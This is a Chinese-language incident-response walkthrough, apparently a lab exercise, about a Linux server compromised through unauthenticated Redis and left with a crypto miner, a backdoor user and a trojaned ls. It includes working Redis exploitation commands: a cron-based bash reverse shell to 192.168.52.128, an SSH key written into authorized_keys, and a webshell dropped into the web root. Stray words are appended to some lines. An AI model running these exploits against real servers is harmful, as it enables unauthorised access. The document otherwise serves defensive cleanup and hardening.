有客戶反饋其所使用的服務器近期忽然網站打開特別慢,可是網站訪問人數較前期並沒有明顯變化,服務器CPU利用率較高。同時客戶接到投訴反映經過搜索引擎搜索該網站點擊後會跳轉到博彩網站。請協助客戶分析該服務器遭受何種攻擊並恢復服務器正常運行。同時幫助客戶清理惡意程序,阻止黑客再次入侵。php
A:首先top看一下cpu內存佔用狀況
html
B:登陸服務器先查看一下端口狀況,發現開啓了redis-serverweb
而且能夠看到redis-server監聽在0.0.0.0:6379redis
C:查看是否存在redis未受權訪問shell
redis-cli -h 192.168.52.135
查看redis版本信息、一些具體信息、服務器版本信息等等:infojson
查看全部鍵:KEYS *bash
能夠看到redsi存在未受權訪問服務器
D:判斷redsi是否爲root權限ssh
netstat -anptl ps -aux| grep 30
發現redis是root用戶啓動的,且同時redis存在未受權訪問tcp
redis未受權通常利用方式有如下三種:
第一種:反彈shell
root@kali:~# redis-cli -h 192.168.52.135 192.168.52.135:6379> set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.52.128/2333 0>&1\n\n" //1分鐘後執行計劃任務 OK 192.168.52.135:6379> config set dir /var/spool/cron OK 192.168.52.135:6379> config set dbfilename root OK 192.168.52.135:6379> save OK
能夠看到成功寫入計劃任務
第二種:寫ssh-keygen公鑰,而後使用私鑰登錄
在如下條件下,能夠利用此方法
首先在本地生成一對密鑰:
ssh-keygen -t rsa
而後redis執行命令:
root@kali:~# redis-cli -h 192.168.52.135 192.168.52.135:6379> config set dir /root/.ssh/ OK 192.168.52.135:6379> config set dbfilename authorized_keys OK 192.168.52.135:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDiF1o01tlJug4myll3sN/z3IRABopXPAIQMYnCWYxxh7Ud3sLzsSv6sufKyKS3f6Hlrbv7/av0irgwFUHOXn1cBL79SnRvsKsbY3Gqlac+FUKF4BiuHsOOp1SZwJTbYPi1wsCsGpzIAv4FC9h5GuLMgn/XR9boPBd6RyyM+NM34k+so6M1DEY69hRdVm4mspOiBMRt8XDBSGu/daaQvAZQAeE0kmKv9GcAULD06WaEoth1+pRsQ3tIB6C+9dNZEa7ODTtL44mJUqWZVEINUylzJz+LgKw3NLGP/hr1xqoj2mllThCtJJe5axxkYkE1qSf7KFHsAlqtnBoGSrJn5cD9GaT5TVU9sUi289OCQVObpzboNJ6YYAlfoMCH8VSEg6On/NYUY4+qBQdLEPj9fC/XSAOnc0wK6RZ85P8tB1E5RC3JOvZhCjDWCKbuW/cue9ukm+cOY7gvbP1OcXWhFMxw/SI64zvdECyDH0QsdT82kTKVLcVdwunDjENy1TbbCGE= root@kali\n\n\n" OK 192.168.52.135:6379> save OK
save後能夠直接利用公鑰登陸ssh
[root@kali:~# cd .ssh/ [root@kali:~/.ssh# ssh -i id_rsa root@192.168.52.135
第三種:向web路徑寫webshell
當redis權限不高時,而且服務器開着web服務,在redis有web目錄寫權限時,能夠嘗試往web路徑寫webshell
執行如下命令
root@kali:~# redis-cli -h 192.168.52.135 192.168.52.135:6379> config set dir /var/www/html/ OK 192.168.52.135:6379> config set dbfilename shell.php OK 192.168.52.135:6379> set x "" OK 192.168.52.135:6379> save OK
http://172.17.0.2/shell.php
通常redis未受權修復:
一、redis未受權修復
將redis服務改成監聽本地,或爲redis訪問設置⼝令便可。
A:首先結束掉redis服務
B:修改監聽地址爲127.0.0.1
root@65c7d9159ef6:~# cat /etc/redis/redis.conf 修改redis配置⽂件 將/etc/redis/redis.conf中的 #bind 127.0.0.1 改成 bind 127.0.0.1
或 將/etc/redis/redis.conf中的 # requirepass foobared 改成 requirepass foobared
參考:http://www.javashuo.com/article/p-cpaljjob-oa.html
\1. 不重啓redis如何配置密碼?
a. 在配置文件中配置requirepass的密碼(當redis重啓時密碼依然有效)。
# requirepass foobared -》 修改爲 : requirepass 123
b. 進入redis重定義參數
查看當前的密碼:
鏈接客戶端:redis-cli
redis 127.0.0.1:6379>
redis 127.0.0.1:6379> config get requirepass
"requirepass"
(nil) 顯示密碼是空的
c. 而後設置密碼:
redis 127.0.0.1:6379> config set requirepass 123
OK
d. 再次查詢密碼:
redis 127.0.0.1:6379> config get requirepass
(error) ERR operation not permitted
此時報錯了!
如今只須要密碼認證就能夠了。
redis 127.0.0.1:6379> auth 123
OK
e. 再次查詢密碼:
redis 127.0.0.1:6379> config get requirepass
"requirepass"
"test123"
修改爲功
C:修改完配置後從新啓動redis服務
使⽤命令 redis-server /etc/redis/redis.conf 啓動redis服務
能夠看到配置文件已經生效,咱們再來驗證下
能夠看到鏈接被拒絕,說明沒有問題
二、使用非root用戶啓動redsi服務
使⽤⾮root⽤戶運⾏redis服務便可。
A. 終⽌原redis進程
ps -ef|grep redis-server|awk '{print $2}'|xargs kill -9
B.:使⽤⾮root⽤戶啓動redis服務,如,經過init.d中的redis管理項啓動
# 啓動後redis-server的運⾏⽤戶爲redis:redis
root@65c7d9159ef6:~# cd /etc/init.d root@65c7d9159ef6:/etc/init.d# ./redis-server start
三、挖礦進程清除
A:top
B.:查看進程清單找出CPU佔⽤⾼的進程
root@65c7d9159ef6:~# ps -ef | grep mycoin
發現/usr/share/mycoin/mycoin文件運行時加載的json配置文件中包含礦池地址以及鏈接的用戶名密碼
root@65c7d9159ef6:~# cat /usr/share/mycoin/config.json
{ "threads":2, // number of miner threads "pools": [ { "url": "stratum+tcp://u1pool.com:18888", // URL of mining server "user": "UP57on3ZKh6DDVUBv8d97awyrTfE8vXTF5.test01", // username for mining server "pass": "x" // password for mining server } ] }
C:終⽌挖礦進程
四、Linux開機自啓動排查
參考:http://www.javashuo.com/article/p-cmjlkjyr-oa.html
A:/etc/init.d/下的腳本
chkconfig --list | grep mycoin
參考:http://www.javashuo.com/article/p-zniknfhw-kc.html
B:/etc/rc.local
cat /etc/rc.local | grep mycoin
刪除掉 /usr/share/mycoin/mycoin -c /usr/share/mycoin/config.json -B 內容便可
C:文件指向路徑是/etc/init.d下的腳本文件
/etc/rc[0-6].d
D:設置程序的.desktop文件
program.desktop文件寫法: [Desktop Entry] Name=program Exec=/usr/bin/program Type=Application Comment=my program
E:crontab定時執行任務
週期執行的任務通常由cron這個守護進程來處理[ps -ef|grep cron]
cron的配置文件稱爲「crontab」,是「cron table」的簡寫
service crond start //啓動服務
service crond stop //關閉服務
service crond restart //重啓服務
service crond reload //從新載入配置
service crond status //查看服務狀態
每兩個小時
0 */2 * * * echo "Have a break now." >> /tmp/test.txt
crontab -l //在標準輸出上顯示當前的c
crontab -r // 刪除當前的crontab文件。
crontab -e //使用VISUAL或者EDITOR環境變量所指的編輯器編輯當前的crontab文件,當結束編輯離開時,編輯後的文件將自動安裝。
順着計劃任務所指向的文件目錄查找
發現挖礦程序和配置文件,可是發現沒有相關常常,說明計劃任務沒有執行
刪除上述挖礦程序和配置文件,刪除計劃任務
root@65c7d9159ef6:~# cd /etc/init.d
查看mine_srv文件內容,發現
PROG="mining" PROG_PATH="/usr/local/sbin" ## Not need, but sometimes helpful (if $PROG resides in /opt for example). PROG_ARGS="-c /etc/mine_srv/config.json -B"
分別查看以上幾個路徑,發現json文件爲挖礦配置文件,可是無相關進程
刪除以上可執行程序和配置文件
五、backdoor用戶刪除
在/etc/passwd中發現backdoor用戶,可是刪除是提示backdoor用戶當前被進程1使用
userdel -f backdoor
由於咱們如今是root用戶,直接能夠修改/etc/passwd和/etc/shadow
刪掉backdoor用戶
六、清除ls動態連接庫後門
當執行ls命令時,發現提示「backdoor組已經存在」,猜想ls命令被更改了
先刪除backdoor組,而後執行ls命令沒有提示了,再次查看/etc/passwd,發現被添加了backdoor用戶,說明/bin/ls ⽂件的動態連接庫中被添加了後⻔程序
刪除/bin/ls可執行文件,從新上傳一個從其餘服務器上提取的ls文件替換便可。